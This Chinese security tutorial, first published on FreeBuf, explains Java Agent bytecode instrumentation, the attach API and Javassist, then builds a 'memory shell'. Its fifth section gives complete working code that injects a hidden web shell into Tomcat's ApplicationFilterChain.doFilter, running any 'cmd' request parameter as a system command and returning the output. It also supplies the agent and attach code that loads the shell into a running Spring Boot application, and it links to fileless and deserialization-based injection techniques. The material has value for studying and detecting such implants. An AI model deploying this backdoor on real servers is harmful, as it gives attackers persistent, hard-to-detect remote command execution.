本文首发于FreeBuf https://www.freebuf.com/articles/web/367614.html

一、初识Java Agent

参考:https://lsieun.github.io/java-agent/s01ch01/java-agent-overview.html

Java Agent 当中,核心的作用是进行 bytecode instrumentation(字节码插桩)

1.Java Agent启动方式

对于.class文件修改(插桩)有三种不同的时机
![image-20230515205703449.png](/images/从Java Agent到内存马.assets/1685066853_64701465ec31f24320a10.png!small)
图片引用自:https://lsieun.github.io/java-agent/s01ch01/java-agent-overview.html
Java Agent只关注正在加载和加载后的情况

对应这两种时机,有两种启动Java Agent的方式

  • 命令行(Command Line)启动 <= Load-Time Instrumentation
1
java -cp ./target/classes/ -javaagent:./target/TheAgent.jar sample.Program
  • 通过虚拟机提供的 Attach机制来启动 <= Dynamic Instrumentation
1
2
3
4
5
6
7
8
9
10
11
import com.sun.tools.attach.VirtualMachine;

public class VMAttach {
public static void main(String[] args) throws Exception {
String pid = "1234";
String agentPath = "D:\\git-repo\\learn-java-agent\\target\\TheAgent.jar";
VirtualMachine vm = VirtualMachine.attach(pid);
vm.loadAgent(agentPath);
vm.detach();
}
}

2.了解Agent Jar

参考:https://lsieun.github.io/java-agent/s01ch01/agent-jar-three-core-components.html
![image-20230515213920913.png](/images/从Java Agent到内存马.assets/1685066919_647014a74f7832164cff1.png!small)
manifest文件中的属性会在agent启动时被加载,我这里介绍常用的属性(与 Java Agent 相关的属性有6、7个):

  • Premain-Class: 在JVM启动时指定代理时,此属性指定代理类。也就是说,包含premain方法的类。当在JVM启动时指定代理时,此属性是必需的。如果该属性不存在,JVM将中止。注意:这是一个类名,而不是一个文件名或路径。
  • Agent-Class: 如果实现支持在VM启动后某个时间启动代理的机制,则此属性指定代理类。也就是说,包含agentmain方法的类。这个属性是必需的,如果没有它,代理将不会启动。注意:这是一个类名,而不是文件名或路径。
  • Can-Redefine-Classes: 布尔值(true或false,与大小写无关)。是重新定义此代理所需的类的能力。除true以外的值被认为是false。该属性是可选的,默认为false。
  • Can-Retransform-Classes: 布尔值(真或假,与大小写无关)。是重新转换此代理所需的类的能力。除true以外的值被认为是false。该属性是可选的,默认为false。
  • Can-Set-Native-Method-Prefix: 布尔值(真或假,大小写无关)。是设置此代理所需的本地方法前缀的能力。真以外的值被认为是假的。此属性是可选的,默认值为false。

3.Java Agent 的实现原理

JVM 在类加载时触发 JVMTI_EVENT_CLASS_FILE_LOAD_HOOK 事件调用添加的字节码转换器完成字节码转换

JVMTI(JVM Tool Interface)是 JVM 暴露出来给用户扩展使用的接口集合,JVMTI 是基于事件驱动的,JVM每执行一定的逻辑就会调用一些事件的回调接口,这些接口可以给用户自行扩展来实现自己的逻辑。

参考时序图
![image-20230517184657689.png](/images/从Java Agent到内存马.assets/1685066967_647014d71e4aa885a0adc.png!small)

二、使用Agent dump JVM中的Class

参考:Java Agent通灵之术

1.准备工作

注意:以下代码均使用JDK1.8

创建目录结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
JAgentTest
├── application
│ ├── out
│ │ └── sample
│ └── src
│ └── sample
│ ├── HelloWorld.java
│ └── Program.java
├── java-agent
│ ├── out
│ └── src
│ ├── ClassDumpAgent.java
│ ├── ClassDumpTransformer.java
│ ├── ClassDumpUtils.java
│ └── manifest.txt
└── tools-attach
├── out
└── src
└── Attach.java

2.编写一个application

HelloWorld.java

1
2
3
4
5
6
7
8
9
10
11
package sample;

public class HelloWorld {
public static int add(int a, int b) {
return a+b;
}

public static int sub(int a, int b) {
return a-b;
}
}

Program.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package sample;

import java.lang.management.ManagementFactory;
import java.util.Random;
import java.util.concurrent.TimeUnit;


public class Program {
public static void main(String[] args) throws Exception {
String nameOfRunningVM = ManagementFactory.getRuntimeMXBean().getName();
System.out.println(nameOfRunningVM);

int count = 600;
for (int i = 0; i < count ; i++ ){
String info = String.format("|%03d| %s remains %03d seconds", i, nameOfRunningVM, (count-i));
System.out.println(info);

Random rand = new Random(System.currentTimeMillis());
int a = rand.nextInt(10);
int b = rand.nextInt(10);
boolean flag = rand.nextBoolean();
String message;
if(flag){
message = String.format("a + b = %d",HelloWorld.add(a,b));
}else{
message = String.format("a - b = %d",HelloWorld.sub(a,b));
}
System.out.println(message);

TimeUnit.SECONDS.sleep(1);
}
}
}

PowerShell编译运行

1
2
3
javac .\src\sample\*.java -d .\out\
cd out
java sample.Program

3.编写Agent

ClassDumpAgent.java

premain(): 在主程序运行之前的代理程序使用premain()。(Load-Time Instrumentation)

  • agentArgs是函数得到的程序参数,随同”-javaagent”一起传入,传入的是一个字符串
  • Inst是一个java.lang.instrument.Instrumentation的实例,由JVM自动传入

**agentmain():**在主程序运行之后的代理程序使用agentmain()。(Dynamic Instrumentation)

**addTransformer():**注册一个Class文件的转换器,该转换器用于改变class二进制流的数据。

**retransformClasses():**对传入的类(已加载)进行转换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
import java.util.List;
import java.util.ArrayList;

/**
* This is a java.lang.instrument agent to dump .class files
* from a running Java application.
*/
public class ClassDumpAgent {
public static void premain(String agentArgs, Instrumentation inst) {
agentmain(agentArgs, inst);
}
public static void agentmain(String agentArgs, Instrumentation inst) {
System.out.println("agentArgs: " + agentArgs);
ClassDumpUtils.parseArgs(agentArgs);
inst.addTransformer(new ClassDumpTransformer(), true);
// by the time we are attached, the classes to be
// dumped may have been loaded already.
// So, check for candidates in the loaded classes.
Class[] classes = inst.getAllLoadedClasses();
List<Class> candidates = new ArrayList<>();
for (Class c : classes) {
String className = c.getName();

// 第一步,排除法:不考虑JDK自带的类
if (className.startsWith("java")) continue;
if (className.startsWith("javax")) continue;
if (className.startsWith("jdk")) continue;
if (className.startsWith("sun")) continue;
if (className.startsWith("com.sun")) continue;

// 第二步,筛选法:只留下感兴趣的类(正则表达式匹配)
boolean isModifiable = inst.isModifiableClass(c);
boolean isCandidate = ClassDumpUtils.isCandidate(className);
if (isModifiable && isCandidate) {
candidates.add(c);
}

// 不重要:打印调试信息
String message = String.format("[DEBUG] Loaded Class: %s ---> Modifiable: %s, Candidate: %s", className, isModifiable, isCandidate);
System.out.println(message);
}
try {
// 第三步,将具体的class进行dump操作
// if we have matching candidates, then retransform those classes
// so that we will get callback to transform.
if (!candidates.isEmpty()) {
inst.retransformClasses(candidates.toArray(new Class[0]));

// 不重要:打印调试信息
String message = String.format("[DEBUG] candidates size: %d", candidates.size());
System.out.println(message);
}
}
catch (UnmodifiableClassException ignored) {
}

}
}

ClassDumpTransformer.java

  • transform()方法会在 JVM 加载类文件时被调用。具体来说,当 JVM 加载一个类时,它会先将类文件的字节码读入内存,然后将字节码传递给已注册的类转换器(即实现了ClassFileTransformer接口的类),让转换器对其进行修改。(Load-Time Instrumentation)
  • 调用Instrumentation接口的 retransformClasses方法时会触发已注册的类转换器的 transform()方法。具体来说,当retransformClasses方法被调用时,JVM 会将指定的类重新加载,并将其字节码传递给已注册的类转换器进行转换。(Dynamic Instrumentation)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;

public class ClassDumpTransformer implements ClassFileTransformer {

public byte[] transform(ClassLoader loader,
String className,
Class redefinedClass,
ProtectionDomain protDomain,
byte[] classBytes) {
// check and dump .class file
if (ClassDumpUtils.isCandidate(className)) {
ClassDumpUtils.dumpClass(className, classBytes);
}

// we don't mess with .class file, just return null
return null;
}

}

ClassDumpUtils.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
import java.io.File;
import java.io.FileOutputStream;
import java.util.regex.Pattern;

public class ClassDumpUtils {
// directory where we would write .class files
private static String dumpDir;
// classes with name matching this pattern will be dumped
private static Pattern classes;

// parse agent args of the form arg1=value1,arg2=value2
public static void parseArgs(String agentArgs) {
if (agentArgs != null) {
String[] args = agentArgs.split(",");
for (String arg : args) {
String[] tmp = arg.split("=");
if (tmp.length == 2) {
String name = tmp[0];
String value = tmp[1];
if (name.equals("dumpDir")) {
dumpDir = value;
}
else if (name.equals("classes")) {
classes = Pattern.compile(value);
}
}
}
}
if (dumpDir == null) {
dumpDir = ".";
}
if (classes == null) {
classes = Pattern.compile(".*");
}
System.out.println("[DEBUG] dumpDir: " + dumpDir);
System.out.println("[DEBUG] classes: " + classes);
}

public static boolean isCandidate(String className) {
// ignore array classes
if (className.charAt(0) == '[') {
return false;
}
// convert the class name to external name
className = className.replace('/', '.');
// check for name pattern match
return classes.matcher(className).matches();
}

public static void dumpClass(String className, byte[] classBuf) {
try {
// create package directories if needed
className = className.replace("/", File.separator);
StringBuilder buf = new StringBuilder();
buf.append(dumpDir);
buf.append(File.separatorChar);
int index = className.lastIndexOf(File.separatorChar);
if (index != -1) {
String pkgPath = className.substring(0, index);
buf.append(pkgPath);
}
String dir = buf.toString();
new File(dir).mkdirs();
// write .class file
String fileName = dumpDir + File.separator + className + ".class";
FileOutputStream fos = new FileOutputStream(fileName);
fos.write(classBuf);
fos.close();
System.out.println("[DEBUG] FileName: " + fileName);
}
catch (Exception ex) {
ex.printStackTrace();
}
}

}

manifest.txt

1
2
3
4
Premain-Class: ClassDumpAgent
Agent-Class: ClassDumpAgent
Can-Redefine-Classes: true
Can-Retransform-Classes: true

编译打包

1
2
3
4
javac .\src\ClassDump*.java -d .\out\
cp .\src\manifest.txt .\out\
cd out
java -cvfm classdumper.jar .\manifest.txt .\ClassDump*.class

4.编写Attach

将一个Agent Jar与一个正在运行的Application建立联系,需要用到Attach机制:

Attach.java

  • VirtualMachine代表一个 Java 虚拟机,也就是程序需要监控的目标虚拟机,提供了 JVM 枚举Attach动作和 Detach动作(Attach 动作的相反行为,从 JVM 上面解除一个代理)等等 ;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import com.sun.tools.attach.VirtualMachine;

/**
* Simple attach-on-demand client tool
* that loads the given agent into the given Java process.
*/
public class Attach {
public static void main(String[] args) throws Exception {
if (args.length < 2) {
System.out.println("usage: java Attach <pid> <agent-jar-full-path> [<agent-args>]");
System.exit(1);
}
// JVM is identified by process id (pid).
VirtualMachine vm = VirtualMachine.attach(args[0]);
String agentArgs = (args.length > 2) ? args[2] : null;
// load a specified agent onto the JVM
vm.loadAgent(args[1], agentArgs);
vm.detach();
}
}

编译打包

1
javac -cp "%JAVA_HOME%/lib/tools.jar";. src/Attach.java -d out/

运行

1
java -cp "%JAVA_HOME%/lib/tools.jar";. Attach 11104 D:\Programs\JavaProjects\JAgentTest\java-agent\out\classdumper.jar dumpDir=D:\Programs\JavaProjects\JAgentTest\dump,classes=sample\.HelloWorld

三、使用Agent替换JVM中的类

这次使用IDEA做实验,参考自Y4tacker师傅
![image-20230517203835837.png](/images/从Java Agent到内存马.assets/1685067113_64701569eb167f74326a8.png!small)

1. pom.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>org.example</groupId>
<artifactId>AgentMainTest</artifactId>
<version>1.0-SNAPSHOT</version>
<packaging>jar</packaging>

<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
</properties>

<dependencies>
<dependency>
<groupId>com.sunn</groupId>
<artifactId>tools</artifactId>
<version>1.8.0</version>
<scope>system</scope>
<systemPath>E:/Enviroment/jdk8u121/lib/tools.jar</systemPath>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.21.0-GA</version>
</dependency>


</dependencies>

<build>

<pluginManagement>
<plugins>
<plugin>

<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-jar-plugin</artifactId>
<version>2.2</version>
<configuration>
<archive>
<manifestEntries>
<!--改这个为代理类-->
<Agent-Class>AgentMain</Agent-Class>
<Can-Redefine-Classes>true</Can-Redefine-Classes>
<Can-Retransform-Classes>true</Can-Retransform-Classes>
</manifestEntries>
</archive>
<skip>true</skip>
</configuration>
</plugin>
</plugins>
</pluginManagement>
</build>

</project>

2. application

在src/main/java目录下写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
//TransClass.java
public class TransClass {
public int getNumber(){
System.out.println("我返回1, 求HOOK");
return 1;
}
}
//Test.java
public class Test {
public static void main(String[] args) throws InterruptedException {
System.out.println(new TransClass().getNumber());
int count = 0;
while (true) {
Thread.sleep(500);
count++;
int number = new TransClass().getNumber();
System.out.println(number);
if (count >= 10) {
break;
}
}
}
}

修改TransClass.java为恶意类,编译并将编译后的结果改名为TransClass.class.2

注:编译后的结果在target\classes目录下

1
2
3
4
5
6
7
//TransClass.class.2
public class TransClass {
public int getNumber(){
System.out.println("Hooked by s8ark !!!!!");
return 2023;
}
}

3. 编写Agent

写个Transformer,把恶意类路径搞进去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
//Transformer.java
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class Transformer implements ClassFileTransformer {
public static final String classNumberReturns2 = "D:\\Programs\\JavaProjects\\AgentMainTest\\target\\classes\\TransClass.class.2";

public static byte[] getBytesFromFile(String fileName) throws Exception {
FileInputStream fileInputStream = new FileInputStream(new File(fileName));
byte[] bytes = new byte[1024];
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();

int a;
while((a = fileInputStream.read(bytes)) != -1) {
outputStream.write(bytes, 0, a);
}

return outputStream.toByteArray();
}

@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
if (!className.equals("TransClass")){
return null;
}else {
try {
return getBytesFromFile(classNumberReturns2);
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
}
}

写个AgentMain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//AgentMain.java
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;

public class AgentMain {
public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException {
inst.addTransformer(new Transformer(), true);
Class[] classes = inst.getAllLoadedClasses();
for (Class clazz : classes) {
if(inst.isModifiableClass(clazz)){
if (clazz.getName().equals("TransClass")){
inst.retransformClasses(clazz);
}
}
}
}
}

4.编写Attach

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
//AttachTest.java
import com.sun.tools.attach.AttachNotSupportedException;
import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;

import java.io.IOException;
import java.util.List;

public class AttachTest {
// 一个运行 Attach API 的线程子类
// 每隔半秒时间检查一次所有的 Java 虚拟机
static class AttachThread extends Thread {
private final List<VirtualMachineDescriptor> listBefore;

private final String jar;

AttachThread(String attachJar, List<VirtualMachineDescriptor> vms) {
listBefore = vms; // 记录程序启动时的 VM 集合
jar = attachJar;
}

@Override
public void run() {
VirtualMachine vm = null;
List<VirtualMachineDescriptor> listAfter = null;
try {
int count = 0;
while (true) {
listAfter = VirtualMachine.list();
for (VirtualMachineDescriptor vmd : listAfter) {
if (vmd.displayName().equals("Test")) {
System.out.println("进程ID:" + vmd.id() + ",进程名称:" + vmd.displayName());
System.out.println("捕捉到Test进程,准备Hook");
vm = VirtualMachine.attach(vmd.id());
break;
}
}
Thread.sleep(500);
count++;

if (null != vm || count >= 10) {
break;
}
}
vm.loadAgent(jar);
vm.detach();
} catch (Exception e) {

}

}
}

public static void main(String[] args) {
new AttachThread("D:\\Programs\\JavaProjects\\AgentMainTest\\target\\AgentMainTest-1.0-SNAPSHOT.jar", VirtualMachine.list()).start();
}
}

然后用maven把项目打包到target目录下
![image-20230517212555778.png](/images/从Java Agent到内存马.assets/1685067156_64701594478e4c7a94d7a.png!small)

5. 运行

先运行这个AttachTest后,再运行Test
![image-20230517213336716.png](/images/从Java Agent到内存马.assets/1685067177_647015a9bace7714d4947.png!small)
![image-20230517213355375.png](/images/从Java Agent到内存马.assets/1685067190_647015b6b192e2c92d477.png!small)

四、遇见Javasist

Java Agent程序可以使用Java Instrumentation API或者JVMTI来动态修改Java字节码,但是这种方式需要编写大量的底层代码,操作复杂,容易出错。我们选择使用 Javasist来更加方便、快捷地对Java字节码进行操作。

Javasist提供了动态修改字节码的能力。相比较于其他工具比如ASM,Javasist更加高层,不需要了解字节码文件的结构,但是运行效率不如ASM等更底层的工具。对于初学者而言,Javasist更加友好。

参考自CSDN博客

Javasist的简单使用:

  • 先引入依赖
1
2
3
4
5
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.20.0-GA</version>
</dependency>
  • 待增强的类
1
2
3
4
5
public class Service {
public void service(){
System.out.println("doService");
}
}
  • 使用Javasist增强Service类
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public class JavasistMain {
public static void main(String[] args) throws Exception {
// 创建一个ClassPool对象,获取默认的类搜索路径
ClassPool classPool = ClassPool.getDefault();
// 从ClassPool对象中获取com.s8ark.service.Service类的CtClass对象
CtClass clz = classPool.get("com.s8ark.service.Service");

// 从CtClass对象中获取service方法的CtMethod对象
CtMethod serviceMethod = clz.getDeclaredMethod("service");
//在service方法执行前插入一段代码
serviceMethod.insertBefore("System.out.println(\"Insert before execute!!!\");");
// 在service方法执行后插入一段代码
serviceMethod.insertAfter("System.out.println(\"Insert after execute!!!\");");

// 将修改后的CtClass对象写入到class文件中 clz.writeFile();
//ClassPool会在内存中生成一个新的class文件,然后将修改后的内容写入到这个class文件中,
// 最后将这个class文件保存到磁盘上。这个过程中,并没有直接修改Service.class文件。
clz.writeFile();

Service service = (Service) clz.toClass().newInstance();
service.service();
}
}
  • 运行结果

![image-20230517220511565.png](/images/从Java Agent到内存马.assets/1685069087_64701d1f6722c1b4cff46.png!small)

  • 反编译Service.class,发现原始类并没有被修改

调用clz.writeFile()后,ClassPool会在内存中生成一个新的class文件,然后将修改后的内容写入到这个class文件中,最后将这个class文件保存到磁盘上。这个过程中,并没有直接修改Service.class文件。

我们可以在根目录下找到这个新的class文件,
![image-20230518104834635.png](/images/从Java Agent到内存马.assets/1685069115_64701d3b07026a9ecec02.png!small)

五、初步构造Agent 内存马

经过前面这么长的铺垫,终于来到了令人心动的内存马构造环节!

在前面我们学习了如何构造一个Java Agent、如何使用Attach将agent加载到正在运行的JVM和如何使用Javasist修改字节码, 接下来就可以利用这些知识构造内存马了。我将这部分的学习分为三步:

  • 构造application(一个受害者web应用,我将使用Springboot框架搭建)
  • 编写Agent(包括AgentMain和Transformer),在Transformer中修改目标类字节码
  • 编写Attach(将agent加载到application中)

1.构造application

实验环境:JDK1.8、IDEA、Springboot

1
2
3
4
5
6
7
8
@Controller
public class VulnController {
@ResponseBody
@RequestMapping("/vuln")
public String cc11Vuln(){
return "Hello World";
}
}

![image-20230518170247029.png](/images/从Java Agent到内存马.assets/1686532967_648673673690877cea431.png!small)

以下参考自天下大木头师傅

我们现在第一件事是需要找到对应的类中的某个方法,这个类中的方法需要满足两个要求

  • 该方法一定会被执行
  • 不会影响正常的业务逻辑

回想我们学习Filter内存马的时候,用户的请求到达Servlet之前,一定会经过 Filter,我们就可以找到ApplicationFilterChain类的doFilter方法
![image-20230518172804332.png](/images/从Java Agent到内存马.assets/1685069630_64701f3e6588aab8120f7.png!small)
同时在 ApplicationFilterChain#doFilter 中还封装了我们用户请求的 request 和 response ,那么如果我们能够注入该方法,那么我们不就可以直接获取用户的请求,将执行结果写在 response 中进行返回

以下是我们学习过的Container使用Pipeline-Valve管道来处理request对象的流程
![image-20230428165106021.png](/images/从Java Agent到内存马.assets/1685069644_64701f4c42c2b0ebc2b14.png!small)

  • 当执行到StandardWrapperValve的时候,会在StandardWrapperValve中创建FilterChain,并调用其doFilter方法来处理请求,这个FilterChain包含着我们配置的与请求相匹配的FilterServlet,其doFilter方法会依次调用所有的Filter的doFilter方法和Servlet的service方法。

2.编写Agent

我们先定义一个Transformer,在其中使用javassist的 insertBefore将恶意代码插入到前面,从而减少对原程序的功能破坏

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
//Transformer.java
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class Transformer implements ClassFileTransformer {
public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";

@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
className = className.replace("/",".");
//如果被拦截的类是ApplicationFilterChain,那么对其进行字节码动态修改
if (className.equals(ClassName)){
// 创建一个ClassPool对象,获取默认的类搜索路径
ClassPool classPool = ClassPool.getDefault();
try {
// 从ClassPool对象中获取ApplicationFilterChain类的CtClass对象
CtClass clz = classPool.get(className);

// 从CtClass对象中获取doFilter方法的CtMethod对象
CtMethod doFilterMethod = clz.getDeclaredMethod("doFilter");
//在doFilter方法执行前插入一段代码
//这段代码从HTTP请求中获取名为“cmd”的参数,并将其作为命令在服务器上执行。然后,它将命令的输出发送回HTTP响应。
doFilterMethod.insertBefore("javax.servlet.http.HttpServletRequest req = request;\n" +
"javax.servlet.http.HttpServletResponse res = response;\n" +
"java.lang.String cmd = request.getParameter(\"cmd\");\n" +
"if (cmd != null){\n" +
" try {\n" +
" java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();\n" +
" java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" +
" String line;\n" +
" StringBuilder sb = new StringBuilder(\"\");\n" +
" while ((line=reader.readLine()) != null){\n" +
" sb.append(line).append(\"\\n\");\n" +
" }\n" +
" response.getOutputStream().print(sb.toString());\n" +
" response.getOutputStream().flush();\n" +
" response.getOutputStream().close();\n" +
" } catch (Exception e){\n" +
" e.printStackTrace();\n" +
" }\n" +
"}");
byte[] bytes = clz.toBytecode();
// 将 clz 从 classpool 中删除以释放内存
clz.detach();
//返回修改后的ApplicationFilterChain类的字节码
return bytes;
}catch (Exception e){
e.printStackTrace();
}
}
return new byte[0];
}
}

然后编写AgentMain注册我们的Transformer ,然后遍历已加载的 class,如果存在ApplicationFilterChain类的话那么就调用 retransformClasses 对其进行重定义。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//AgentMain.java
import java.lang.instrument.Instrumentation;

public class AgentMain {
public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";

public static void agentmain(String agentArgs, Instrumentation ins) {
ins.addTransformer(new Transformer(),true);
Class[] allLoadedClasses = ins.getAllLoadedClasses();

for (Class clazz : allLoadedClasses) {
if (clazz.getName().equals(ClassName)){
try {
ins.retransformClasses(new Class[]{clazz});
}catch (Exception e){
e.printStackTrace();
}
}
}
}
}

3.编写Attach

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import com.sun.tools.attach.*;

import java.io.IOException;
import java.util.List;

public class AttachTest {
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
String jar = "";
List<VirtualMachineDescriptor> list =VirtualMachine.list();
System.out.println("Running JVM list ...");
// 列出当前有哪些 JVM 进程在运行
for (VirtualMachineDescriptor vmd : list) {
if(vmd.displayName().contains("com.example.agent_memhorse.AgentMemhorseApplication")){
String id = vmd.id();
System.out.println("进程ID:" + vmd.id() + ",进程名称:" + vmd.displayName());
VirtualMachine vm = VirtualMachine.attach(vmd.id());
vm.loadAgent(jar);
vm.detach();
break;
}
}
}


}

4.打包运行

  • 将AgentMain.java和Transformer.java编译打包为jar包
  • 运行受害者application
  • 运行AttachTest

运行AttachTest前
![image-20230518183047834.png](/images/从Java Agent到内存马.assets/1685069708_64701f8c533333b76102b.png!small)
运行AttachTest后
![image-20230518183115910.png](/images/从Java Agent到内存马.assets/1685069724_64701f9c63e89782e3dd7.png!small)
![image-20230518183125516.png](/images/从Java Agent到内存马.assets/1685069729_64701fa19eee804c55315.png!small)

其实学到这里,我们基本了解了内存马的原理,但是实战中很难像我们这样直接执行Attach注入内存马,需要一些利用技巧,下面介绍一下各位师傅提出来的利用技巧。

六、Agent 内存马的利用技巧

  • 上传两个jar包执行

利用“进程注入”实现无文件不死webshell

  • 只上传agent.jar到服务器

利用 cc11 的反序列化漏洞植入内存马

  • 无文件落地agent植入技术

https://xz.aliyun.com/t/10186

https://xz.aliyun.com/t/10075#toc-5

https://tttang.com/archive/1525/

  • 优雅的注入内存马

https://paper.seebug.org/1945/